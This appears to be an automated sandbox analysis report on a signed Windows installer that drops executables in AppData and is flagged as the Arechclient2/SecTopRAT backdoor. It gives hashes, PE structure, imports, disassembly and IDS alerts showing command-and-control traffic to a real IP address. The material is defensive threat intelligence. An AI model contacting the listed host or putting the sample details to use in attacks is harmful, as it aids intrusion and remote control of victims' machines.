Preview:	PK........$.xY..'T`.A.XX......dobi.exe.\yp..y........#..8.S...DQ.l../...5....X.........Z..$......&-c.1..f...L8...._...S.[....=.L.0I.(......=...\|..i.}..~........e......T.X..D.&....6......+...._.ei)6....jnFM...-\|N...l..Mjx"..h....8\|D......Z...4C...P+..s..<z.^.z.3.?.#cT...yAb....,.&\|...T3.2.y3v..0...s...(.:..E........<.4L....9....e.<....'_......9.o..[5eAC.o.=b..}..A&O.&.Z......H....#D....z.P..N..L.B...6.o.4\|.at==k.K........p.St1#.(.z...M..et..0?2.e.z.j...[....x...M.t.......u.&..7..>E}.G.......#c..&&..U..."...5...rB......e.D..... .o_"SP<1...](h..2...l!.=.P.6%cV...~..yn.W.:I.........@V..R.t.._...D&........C,eFQ.X........)f...@..95i./L...Lg...!S.2..o..4....A."......Ib`....%W3....,Q.U..Nh....0'.kT.h.sA3f.!..Kgg2......{.4...I..ic.=..."........_S.....Jv..G.-.zo...c...#..H}s@.....1...O....O....w.q...t@\m.0..M......D.AS.v..n0........n.0.k...4`K..6...c.+.>..a1.....O.....z.F.#.E`m....^P.x\.4.......&.I..W.q.............,.M&.zo...@...-..E.z..:.

C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10115160
Entropy (8bit):	6.457193310384772
Encrypted:	false
SSDEEP:	98304:RkLpZuLG6phE8B5ICZu0yYfq3TTLJB7foR:6Lp4GeENIKYR
MD5:	A439025E40533F6E78C74FE8E9CE9875
SHA1:	6AE40C35D089FD05B521AFFDA29C205EFFDF9928
SHA-256:	A15DDD90E6AD35FC8896D7D613D0D178BDC29A9353128E6B5B4E177ABCB8195F
SHA-512:	A2E22C32A1B6C50CFEF234A7FE9581DF516D3B7129645D64FFB16652A4DC757294AA5CCDAE2A3C1A530C71251ABEEB73356CA4F6B33B73FDD7CAC2161A16D84B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win64..$7........................................................................................................................................PE..d......g..........".......^..j;......\|].......@...........................................`..........@............... ...............0k.......j.$L... u.S.'.. p.h....(..X0...`k.H............................Pk.(...................X.j.......k......................text.....^.......^................. ..`.data.........^.......^.............@....bss....XX...`h..........................idata..$L....j..N...Jh.............@....didata.......k.......h.............@....edata.......0k.......h.............@..@.tls.........@k..........................rdata..m....Pk.......h.............@..@.reloc..8....`k.......h.............@..B.pdata..h.... p......pm.............@..@.rsrc...S.'.. u...'..pr.............@..@.....................V..............@..@

C:\Users\user\AppData\Roaming\sto\BITA54F.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10115160
Entropy (8bit):	6.457193310384772
Encrypted:	false
SSDEEP:	98304:RkLpZuLG6phE8B5ICZu0yYfq3TTLJB7foR:6Lp4GeENIKYR
MD5:	A439025E40533F6E78C74FE8E9CE9875
SHA1:	6AE40C35D089FD05B521AFFDA29C205EFFDF9928
SHA-256:	A15DDD90E6AD35FC8896D7D613D0D178BDC29A9353128E6B5B4E177ABCB8195F
SHA-512:	A2E22C32A1B6C50CFEF234A7FE9581DF516D3B7129645D64FFB16652A4DC757294AA5CCDAE2A3C1A530C71251ABEEB73356CA4F6B33B73FDD7CAC2161A16D84B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win64..$7........................................................................................................................................PE..d......g..........".......^..j;......\|].......@...........................................`..........@............... ...............0k.......j.$L... u.S.'.. p.h....(..X0...`k.H............................Pk.(...................X.j.......k......................text.....^.......^................. ..`.data.........^.......^.............@....bss....XX...`h..........................idata..$L....j..N...Jh.............@....didata.......k.......h.............@....edata.......0k.......h.............@..@.tls.........@k..........................rdata..m....Pk.......h.............@..@.reloc..8....`k.......h.............@..B.pdata..h.... p......pm.............@..@.rsrc...S.'.. u...'..pr.............@..@.....................V..............@..@

C:\Users\user\AppData\Roaming\sto\coml.exe (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10115160
Entropy (8bit):	6.457193310384772
Encrypted:	false
SSDEEP:	98304:RkLpZuLG6phE8B5ICZu0yYfq3TTLJB7foR:6Lp4GeENIKYR
MD5:	A439025E40533F6E78C74FE8E9CE9875
SHA1:	6AE40C35D089FD05B521AFFDA29C205EFFDF9928
SHA-256:	A15DDD90E6AD35FC8896D7D613D0D178BDC29A9353128E6B5B4E177ABCB8195F
SHA-512:	A2E22C32A1B6C50CFEF234A7FE9581DF516D3B7129645D64FFB16652A4DC757294AA5CCDAE2A3C1A530C71251ABEEB73356CA4F6B33B73FDD7CAC2161A16D84B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win64..$7........................................................................................................................................PE..d......g..........".......^..j;......\|].......@...........................................`..........@............... ...............0k.......j.$L... u.S.'.. p.h....(..X0...`k.H............................Pk.(...................X.j.......k......................text.....^.......^................. ..`.data.........^.......^.............@....bss....XX...`h..........................idata..$L....j..N...Jh.............@....didata.......k.......h.............@....edata.......0k.......h.............@..@.tls.........@k..........................rdata..m....Pk.......h.............@..@.reloc..8....`k.......h.............@..B.pdata..h.... p......pm.............@..@.rsrc...S.'.. u...'..pr.............@..@.....................V..............@..@

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9987383339402784
TrID:	Win32 Executable (generic) a (10002005/4) 98.45% Inno Setup installer (109748/4) 1.08% Win32 EXE PECompact compressed (generic) (41571/9) 0.41% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02%
File name:	9VbeqQbgU4.exe
File size:	87'653'216 bytes
MD5:	a91b4875630c4f702ab63f94ed633da4
SHA1:	d485e90a501aa11f89f684063e5fbe235937f0bf
SHA256:	d864a359e3a19182e72109fe75408d21b10215938e8be4098c4dbbc8ce0b7c7c
SHA512:	43e4a19efcb814ae3b418177679fb52d257fd9046b6ac4baaea2fdfecb8627bc80ecdfc8288139d669e639c748f63c043d5b6997147b580d64bab3518524b460
SSDEEP:	1572864:ZyM8TruaFhFBQ4aidylq1RFVKl8J/1BbAYqnmy2QPz2Pt0BQGRClJygc:ZyMAeiTFny2ezE0QGiJygc
TLSH:	5A18334756CB857BEC2E0B364561E1F294FB1E66B0975EA393F034E9CD320A46C2E613
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	176169eccc6d3107

Static PE Info

General

Entrypoint:	0x4a83bc
Entrypoint Section:	.itext
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6690DABD [Fri Jul 12 07:26:53 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	40ab50289f7ef5fae60801f88d4541fc

Authenticode Signature

Signature Valid:	true
Signature Issuer:	CN=GlobalSign GCC R45 EV CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE
Signature Validation Error:	The operation completed successfully
Error Number:	0
Not Before, Not After	06/06/2024 02:52:51 07/06/2025 02:52:51
Subject Chain	CN="Hebei Qianyuan Biopharmaceutical Co., Ltd.", O="Hebei Qianyuan Biopharmaceutical Co., Ltd.", STREET="South of Xiangtong Village, Nanlou Township, Zhengding County", L=Shijiazhuang, S=Hebei, C=CN, OID.1.3.6.1.4.1.311.60.2.1.1=Shijiazhuang, OID.1.3.6.1.4.1.311.60.2.1.2=Hebei, OID.1.3.6.1.4.1.311.60.2.1.3=CN, SERIALNUMBER=91130123MA09YCKA2U, OID.2.5.4.15=Private Organization
Version:	3
Thumbprint MD5:	471800388AAA9103A74D65E746957952
Thumbprint SHA-1:	F2EA1DD98D1AF0F9044C24B266475A5C61C6A658
Thumbprint SHA-256:	FF7A3EBC344477D9ADDC06569B913E13D5C9203193B34CCBADBEE3C7D116D846
Serial:	3790CF6A4249C71C54A5D812

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFA4h
push ebx
push esi
push edi
xor eax, eax
mov dword ptr [ebp-3Ch], eax
mov dword ptr [ebp-40h], eax
mov dword ptr [ebp-5Ch], eax
mov dword ptr [ebp-30h], eax
mov dword ptr [ebp-38h], eax
mov dword ptr [ebp-34h], eax
mov dword ptr [ebp-2Ch], eax
mov dword ptr [ebp-28h], eax
mov dword ptr [ebp-14h], eax
mov eax, 004A2EBCh
call 00007F5318E886A5h
xor eax, eax
push ebp
push 004A8AC1h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
xor edx, edx
push ebp
push 004A8A7Bh
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
mov eax, dword ptr [004B0634h]
call 00007F5318F1A02Bh
call 00007F5318F19B7Eh
lea edx, dword ptr [ebp-14h]
xor eax, eax
call 00007F5318F14858h
mov edx, dword ptr [ebp-14h]
mov eax, 004B41F4h
call 00007F5318E82753h
push 00000002h
push 00000000h
push 00000001h
mov ecx, dword ptr [004B41F4h]
mov dl, 01h
mov eax, dword ptr [0049CD14h]
call 00007F5318F15B83h
mov dword ptr [004B41F8h], eax
xor edx, edx
push ebp
push 004A8A27h
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
call 00007F5318F1A0B3h
mov dword ptr [004B4200h], eax
mov eax, dword ptr [004B4200h]
cmp dword ptr [eax+0Ch], 01h
jne 00007F5318F20D9Ah
mov eax, dword ptr [004B4200h]
mov edx, 00000028h
call 00007F5318F16478h
mov edx, dword ptr [004B4200h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xb7000	0x71	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb5000	0xfec	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xcb000	0x69c1c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x5395178	0x29e8
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xba000	0x10fa8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xb9000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xb52d4	0x25c	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0xb6000	0x1a4	.didata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xa568c	0xa5800	b889d302f6fc48a904de33d8d947ae80	False	0.3620185045317221	data	6.377190161826806	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0xa7000	0x1b64	0x1c00	588dd0a8ab499300d3701cbd11b017d9	False	0.548828125	data	6.109264411030635	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xa9000	0x3838	0x3a00	5c0c76e77aef52ebc6702430837ccb6e	False	0.35338092672413796	data	4.95916338709992	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0xad000	0x7258	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xb5000	0xfec	0x1000	627340dff539ef99048969aa4824fb2d	False	0.380615234375	data	5.020404933181373	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didata	0xb6000	0x1a4	0x200	fd11c1109737963cc6cb7258063abfd6	False	0.34765625	data	2.729290535217263	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0xb7000	0x71	0x200	7de8ca0c7a61668a728fd3a88dc0942d	False	0.1796875	data	1.305578535725827	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0xb8000	0x18	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xb9000	0x5d	0x200	d84006640084dc9f74a07c2ff9c7d656	False	0.189453125	data	1.3892750148744617	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xba000	0x10fa8	0x11000	a85fda2741bd9417695daa5fc5a9d7a5	False	0.5789579503676471	data	6.709466460182023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0xcb000	0x69c1c	0x69e00	f6d14f45f8145bc951e2271802a63aca	False	0.38513457423258557	data	6.12883713458275	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xcb708	0xb1b4	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	1.0004616196254286
RT_ICON	0xd68bc	0x25228	Device independent bitmap graphic, 192 x 384 x 32, image size 147456, resolution 2835 x 2835 px/m	English	United States	0.24354389102193236
RT_ICON	0xfbae4	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 2835 x 2835 px/m	English	United States	0.30131314326274694
RT_ICON	0x10c30c	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 36864, resolution 2835 x 2835 px/m	English	United States	0.34824994744586923
RT_ICON	0x1157b4	0x67e8	Device independent bitmap graphic, 80 x 160 x 32, image size 25600, resolution 2835 x 2835 px/m	English	United States	0.38402255639097743
RT_ICON	0x11bf9c	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 20736, resolution 2835 x 2835 px/m	English	United States	0.402634011090573
RT_ICON	0x121424	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 2835 x 2835 px/m	English	United States	0.43180207841284834
RT_ICON	0x12564c	0x3a48	Device independent bitmap graphic, 60 x 120 x 32, image size 14400, resolution 2835 x 2835 px/m	English	United States	0.45154155495978554
RT_ICON	0x129094	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2835 x 2835 px/m	English	United States	0.49470954356846475
RT_ICON	0x12b63c	0x1a68	Device independent bitmap graphic, 40 x 80 x 32, image size 6400, resolution 2835 x 2835 px/m	English	United States	0.5338757396449704
RT_ICON	0x12d0a4	0x1588	Device independent bitmap graphic, 36 x 72 x 32, image size 5184, resolution 2835 x 2835 px/m	English	United States	0.5469883889695211
RT_ICON	0x12e62c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2835 x 2835 px/m	English	United States	0.5956848030018762
RT_ICON	0x12f6d4	0xeb0	Device independent bitmap graphic, 30 x 60 x 32, image size 3600, resolution 2835 x 2835 px/m	English	United States	0.6215425531914893
RT_ICON	0x130584	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 2835 x 2835 px/m	English	United States	0.6754098360655738
RT_ICON	0x130f0c	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1600, resolution 2835 x 2835 px/m	English	United States	0.7168604651162791
RT_ICON	0x1315c4	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2835 x 2835 px/m	English	United States	0.7819148936170213
RT_STRING	0x131a2c	0x3f8	data			0.3198818897637795
RT_STRING	0x131e24	0x2dc	data			0.36475409836065575
RT_STRING	0x132100	0x430	data			0.40578358208955223
RT_STRING	0x132530	0x44c	data			0.38636363636363635
RT_STRING	0x13297c	0x2d4	data			0.39226519337016574
RT_STRING	0x132c50	0xb8	data			0.6467391304347826
RT_STRING	0x132d08	0x9c	data			0.6410256410256411
RT_STRING	0x132da4	0x374	data			0.4230769230769231
RT_STRING	0x133118	0x398	data			0.3358695652173913
RT_STRING	0x1334b0	0x368	data			0.3795871559633027
RT_STRING	0x133818	0x2a4	data			0.4275147928994083
RT_RCDATA	0x133abc	0x10	data			1.5
RT_RCDATA	0x133acc	0x310	data			0.6173469387755102
RT_RCDATA	0x133ddc	0x2c	data			1.1818181818181819
RT_GROUP_ICON	0x133e08	0xe6	GLS_BINARY_LSB_FIRST	English	United States	0.6739130434782609
RT_VERSION	0x133ef0	0x584	data	English	United States	0.2754957507082153
RT_MANIFEST	0x134474	0x7a8	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3377551020408163

Imports

DLL	Import
kernel32.dll	GetACP, GetExitCodeProcess, CloseHandle, LocalFree, SizeofResource, VirtualProtect, QueryPerformanceFrequency, VirtualFree, GetFullPathNameW, GetProcessHeap, ExitProcess, HeapAlloc, GetCPInfoExW, RtlUnwind, GetCPInfo, GetStdHandle, GetModuleHandleW, FreeLibrary, HeapDestroy, ReadFile, CreateProcessW, GetLastError, GetModuleFileNameW, SetLastError, FindResourceW, CreateThread, CompareStringW, LoadLibraryA, ResetEvent, GetVolumeInformationW, GetVersion, GetDriveTypeW, RaiseException, FormatMessageW, SwitchToThread, GetExitCodeThread, GetCurrentThread, LoadLibraryExW, LockResource, GetCurrentThreadId, UnhandledExceptionFilter, VirtualQuery, VirtualQueryEx, Sleep, EnterCriticalSection, SetFilePointer, LoadResource, SuspendThread, GetTickCount, GetFileSize, GetStartupInfoW, GetFileAttributesW, InitializeCriticalSection, GetSystemWindowsDirectoryW, GetThreadPriority, SetThreadPriority, GetCurrentProcess, VirtualAlloc, GetCommandLineW, GetSystemInfo, LeaveCriticalSection, GetProcAddress, ResumeThread, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, LCMapStringW, VerSetConditionMask, GetDiskFreeSpaceW, FindFirstFileW, GetUserDefaultUILanguage, lstrlenW, QueryPerformanceCounter, SetEndOfFile, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, CreateFileW, GetLocaleInfoW, GetSystemDirectoryW, DeleteFileW, GetLocalTime, GetEnvironmentVariableW, WaitForSingleObject, WriteFile, ExitThread, DeleteCriticalSection, TlsGetValue, GetDateFormatW, SetErrorMode, IsValidLocale, TlsSetValue, CreateDirectoryW, GetSystemDefaultUILanguage, EnumCalendarInfoW, LocalAlloc, GetUserDefaultLangID, RemoveDirectoryW, CreateEventW, SetThreadLocale, GetThreadLocale
comctl32.dll	InitCommonControls
user32.dll	CreateWindowExW, TranslateMessage, CharLowerBuffW, CallWindowProcW, CharUpperW, PeekMessageW, GetSystemMetrics, SetWindowLongW, MessageBoxW, DestroyWindow, CharUpperBuffW, CharNextW, MsgWaitForMultipleObjects, LoadStringW, ExitWindowsEx, DispatchMessageW
oleaut32.dll	SysAllocStringLen, SafeArrayPtrOfIndex, VariantCopy, SafeArrayGetLBound, SafeArrayGetUBound, VariantInit, VariantClear, SysFreeString, SysReAllocStringLen, VariantChangeType, SafeArrayCreate
advapi32.dll	ConvertStringSecurityDescriptorToSecurityDescriptorW, OpenThreadToken, AdjustTokenPrivileges, LookupPrivilegeValueW, RegOpenKeyExW, OpenProcessToken, FreeSid, AllocateAndInitializeSid, EqualSid, RegQueryValueExW, GetTokenInformation, ConvertSidToStringSidW, RegCloseKey

Exports

Name	Ordinal	Address
__dbk_fcall_wrapper	2	0x40fc10
dbkFCallWrapperAddr	1	0x4b063c

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-28T09:53:17.968847+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:18.088879+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:18.208922+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:18.395880+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:18.570295+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:18.691167+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:18.811978+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:18.931926+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:19.052060+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:19.172087+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:19.181228+0100	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	45.141.84.168	15647	192.168.2.4	49769	TCP
2024-11-28T09:53:19.332310+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:19.452464+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:19.574792+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:19.697282+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:19.817567+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:20.064674+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:20.187245+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:20.308703+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:20.432690+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:20.554077+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:20.674675+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:20.795400+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:20.915595+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:26.920884+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.4	49786	45.141.84.168	9000	TCP
2024-11-28T09:53:28.569125+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.4	49789	45.141.84.168	9000	TCP
2024-11-28T09:53:30.155561+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.4	49794	45.141.84.168	9000	TCP
2024-11-28T09:53:31.844695+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.4	49795	45.141.84.168	9000	TCP
2024-11-28T09:53:33.437774+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49796	45.141.84.168	9000	TCP
2024-11-28T09:53:33.437774+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.4	49796	45.141.84.168	9000	TCP
2024-11-28T09:53:35.033442+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49797	45.141.84.168	9000	TCP
2024-11-28T09:53:35.033442+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.4	49797	45.141.84.168	9000	TCP
2024-11-28T09:53:36.625530+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49798	45.141.84.168	9000	TCP
2024-11-28T09:53:36.625530+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.4	49798	45.141.84.168	9000	TCP
2024-11-28T09:53:38.262952+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.4	49799	45.141.84.168	9000	TCP
2024-11-28T09:53:39.906167+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.4	49800	45.141.84.168	9000	TCP
2024-11-28T09:53:41.500018+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.4	49801	45.141.84.168	9000	TCP
2024-11-28T09:53:43.141040+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.4	49802	45.141.84.168	9000	TCP
2024-11-28T09:53:44.785337+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.4	49803	45.141.84.168	9000	TCP
2024-11-28T09:53:46.418292+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49804	45.141.84.168	9000	TCP
2024-11-28T09:53:46.418292+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.4	49804	45.141.84.168	9000	TCP
2024-11-28T09:53:47.955383+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49805	45.141.84.168	9000	TCP
2024-11-28T09:53:47.955383+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.4	49805	45.141.84.168	9000	TCP
2024-11-28T09:53:49.501586+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49806	45.141.84.168	9000	TCP
2024-11-28T09:53:49.501586+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.4	49806	45.141.84.168	9000	TCP
2024-11-28T09:53:51.117998+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.4	49807	45.141.84.168	9000	TCP
2024-11-28T09:53:52.746417+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.4	49808	45.141.84.168	9000	TCP
2024-11-28T09:53:54.372125+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.4	49809	45.141.84.168	9000	TCP
2024-11-28T09:53:56.000195+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49810	45.141.84.168	9000	TCP
2024-11-28T09:53:56.000195+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.4	49810	45.141.84.168	9000	TCP
2024-11-28T09:53:57.554891+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.4	49811	45.141.84.168	9000	TCP
2024-11-28T09:53:59.480638+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.4	49812	45.141.84.168	9000	TCP
2024-11-28T09:54:01.014030+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49813	45.141.84.168	9000	TCP
